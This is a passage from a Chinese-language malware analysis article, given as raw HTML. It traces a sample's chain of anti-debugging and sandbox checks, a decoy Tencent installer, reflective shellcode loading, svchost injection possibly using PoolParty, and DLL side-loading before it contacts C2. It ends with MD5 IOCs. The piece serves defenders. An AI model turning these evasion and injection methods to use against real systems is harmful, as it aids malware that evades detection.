攻击流程</span></center><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1、反调试检测</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">首先，样本运行后先检测自身是否处于调试状态，通过检查 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">PEB-&gt;BeingDebugged</span></code><span leaf=""> 字段识别当前是否被用户态调试器附加调试。</span><span leaf=""><br/></span><span leaf="">接着，调用 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">NtQuerySystemInformation(SystemBasicInformation)</span></code><span leaf=""> 接口获取当前系统基本信息，检测 CPU 核心数量是否满足 &gt;= 3 核，以及物理内存大小是否满足 &gt;= 3G，样本依据上述硬件配置判断是否处于沙箱分析环境。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.25244831338411317" data-s="300,640" data-type="png" data-w="919" type="block" data-imgfileid="100005385" src="https://wechat2rss.xlab.app/img-proxy/?k=141d9a7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxwjwCU1YCXzKBVicCO7GI1Uus3xDTybg6HvibcWIVpICbtBO9dibKodVIg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图2 反调试检测</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当以上检测要求通过后，样本开启真正的恶意能力释放。为保护自身核心代码和逻辑不被轻易窥探，外部函数调用均通过手动查找 LDR 链表获取模块基址，再解析 PE 头获取函数地址，增加函数调用的隐蔽性。</span><span leaf=""><br/></span><span leaf="">这类多层环境感知检查被深度内嵌在代码执行流的关键节点上，形成贯穿始终的对抗屏障，阻碍安全人员的动态调试和静态分析。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2、伪装安装程序</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">环境检测通过后，样本再度检查自身是否具有管理员权限，权限满足后会在 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">C:\\ProgramData</span></code><span leaf=""> 目录下创建随机字符串的目录，并释放多个文件：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">app.exe._ (MD5：f041793908111b5395226bc9ed5e6698)</span></code><br/><code><span leaf="">README.md (MD5：daa5414f94d8f43925efffd79979cf75)</span></code><br/><code><span leaf="">View.dat (MD5：c2db56df94b92d6370c87303d1506f54)</span></code><br/><code><span leaf="">Web.dat (MD5：937ab7f863261a046ba3dd46df7cb270)</span></code><br/><code><span leaf="">åº ç ¨å® .exe (MD5：34f435f15a846ae677f88ea412c074d1)</span></code><br/><code><span leaf="">View.conf (MD5：85fac9d703132b9a28beb11d8ec3d181)</span></code><br/></pre></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2796296296296296" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005379" src="https://wechat2rss.xlab.app/img-proxy/?k=403d44ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxICoy7e1ToddJP8H9YFAgeEsAEhaPw1glXUlfatgLNYMv43HeRFl2Ow%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">图3 创建目录释放文件</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">其中 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">åº ç ¨å® .exe (MD5：34f435f15a846ae677f88ea412c074d1)</span></code><span leaf=""> 为腾讯应用宝的可信安装程序，其余文件为样本后续阶段运行的加密 payload。</span><span leaf=""><br/></span><span leaf="">为掩盖程序真实意图，样本在释放恶意文件后，调用 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">WdcRunTaskAsInteractiveUser</span></code><span leaf=""> 接口运行腾讯应用宝安装程序，制造正常操作的假象，欺骗用户。随后，样本隐蔽地拉起 app.exe 进程，进入下一阶段的恶意操作。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.7088791848617176" data-type="png" data-w="687" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005372" src="https://wechat2rss.xlab.app/img-proxy/?k=6600ec40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxB1mZQ22bCBVYjuuGdkwTAy33RGO95oSbeXJQ75TZ4ia0PbVPOMEf0JA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图4 伪装程序</span></center><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3、Payload 加载与执行</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">第一阶段：</span></strong><span leaf=""> View.dat 文件 payload 为 raw 数据，样本通过 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">VirtualAlloc</span></code><span leaf=""> 分配内存，将 payload 解密后写入内存，并调用 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">CreateThread</span></code><span leaf=""> 函数创建线程执行该段 payload。</span><span leaf=""><br/></span><span leaf="">解密后的 payload 是一段具备内存反射加载 PE 文件功能的 shellcode，会加载 raw 数据中夹带的 DLL 文件，并调用其入口函数 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">DllEntryPoint</span></code><span leaf=""> 进入下一阶段逻辑。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.39820359281437123" data-type="png" data-w="1002" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005374" src="https://wechat2rss.xlab.app/img-proxy/?k=3d8933c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxMPHjEDyFSwImCuiaq4Sy7pwjdp7dJaP0kYqGyM9dHvxic7Y9EFGw3Bicg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图5 加载 payload</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">第二阶段：</span></strong><span leaf=""> 内存加载的 DLL 文件注册服务并运行 svchost.exe 进程，并注入其他两个文件中包含的 payload (app.exe._ 和 View.dat)</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.1037037037037037" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005373" src="https://wechat2rss.xlab.app/img-proxy/?k=d4cb78fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxT601fVR0nZGicL6qXkiahafMoZyibSDrq5aibYxVL6vDnOTkYVSPFBqibdw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图6 注入 payload</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">值得说明的是，在本阶段执行注入操作时样本会判断运行环境，高版本 Windows 系统将使用 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">PoolParty (泳池派对)</span></strong><span leaf=""> 注入技术。</span><span leaf=""><br/></span><span leaf="">注入的恶意代码会在用户目录下释放两个文件：</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">WebViewHelper.exe</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">libcef.dll</span></code><span leaf="">，其中 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">WebViewHelper.exe</span></code><span leaf=""> 为具备合法签名的白文件，被用来加载黑文件 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">libcef.dll</span></code><span leaf="">，达到混淆视听的目的。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.3314814814814815" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005376" src="https://wechat2rss.xlab.app/img-proxy/?k=64fbf0bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxPuMNyxQ8jG1ojBMl86fWA1ej8FGxegaiapKKL3a0I05L5hK5WdQUXEg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图7 释放文件</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">svchost.exe 进程通过自启动服务方式运行重命名之后的 WebViewHelper 进程，进入下一阶段逻辑。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">第三阶段：</span></strong><span leaf=""> WebViewHelper 进程加载的恶意 DLL 文件 (libcef.dll) 会进行一系列的环境检测，包括判断运行环境、所属 session 以及管理员权限等，检测通过后与 C2 服务器建立通信。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.7790476190476191" data-type="png" data-w="525" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005375" src="https://wechat2rss.xlab.app/img-proxy/?k=45f3faf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxdEMCs5RnW0n2aoSjDdDYq1v10iaiccdP82Qs30Xmko1z7UeIENVyE71A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图8 环境检测</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.8927392739273927" data-type="png" data-w="606" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005378" src="https://wechat2rss.xlab.app/img-proxy/?k=2c087ace&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxFpAIVibZZDwkl9VQJ97Xmwbzoh9Ue4DKGqVicrkiaXzgVh5qdLAphemCg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图9 网络通信</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.2453748782862707" data-type="png" data-w="1027" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005377" src="https://wechat2rss.xlab.app/img-proxy/?k=113e85d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxOUQHx4Pd2ADNLeojcOb6teuHtibWiajR00fCYLicPicY7lFN1HvswojXCA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图10 样本攻击链</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">整个攻击链逻辑错综复杂，层层递进，分析难度极大。同时，攻击者通过伪装合法安装程序、利用白文件加载黑文件等方式混淆视听，进一步干扰了用户和安全人员的判断。</span></p><div data-role="title" data-tools="135编辑器" data-id="167089" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;padding-right: 10px;padding-bottom: 5px;box-sizing:border-box;"><div><p style="font-size: 16px;color: #ffffff;text-align:center;background-color: #6296ff;width: 32px;height: 32px;border-radius: 100%;display: flex;justify-content: center;align-items: center;box-sizing:border-box;"><strong><span leaf="">04</span></strong></p></div></div><div><p style="font-size: 16px;color: #1d294b;text-align: center;"><strong data-brushtype="text"><span leaf="">IOC</span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">恶意文件（MD5）</span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">481577b35e4d09510c49d78f5c3fa98c</span> Rar0092_v3.<span class="code-snippet__number">53</span>.<span class="code-snippet__number">278</span>_2xdcey.exe</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">0c0d6806bb8caf68d4dfa5208db52a17</span> app.exe</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">f041793908111b5395226bc9ed5e6698</span> app.exe._</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">daa5414f94d8f43925efffd79979cf75</span> README.md</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">c2db56df94b92d6370c87303d1506f54</span> View.dat</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">937ab7f863261a046ba3dd46df7cb270</span> Web.dat</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">34f435f15a846ae677f88ea412c074d1</span> åº ç ¨å® .exe</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">85fac9d703132b9a28beb11d8ec3d181</span> View.conf</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">c154442ddf6363b6ac5822e47028d672</span> WebViewHelper.exe</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">74be16979710d4c4e7c6647856088456</span> libcef.dll</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 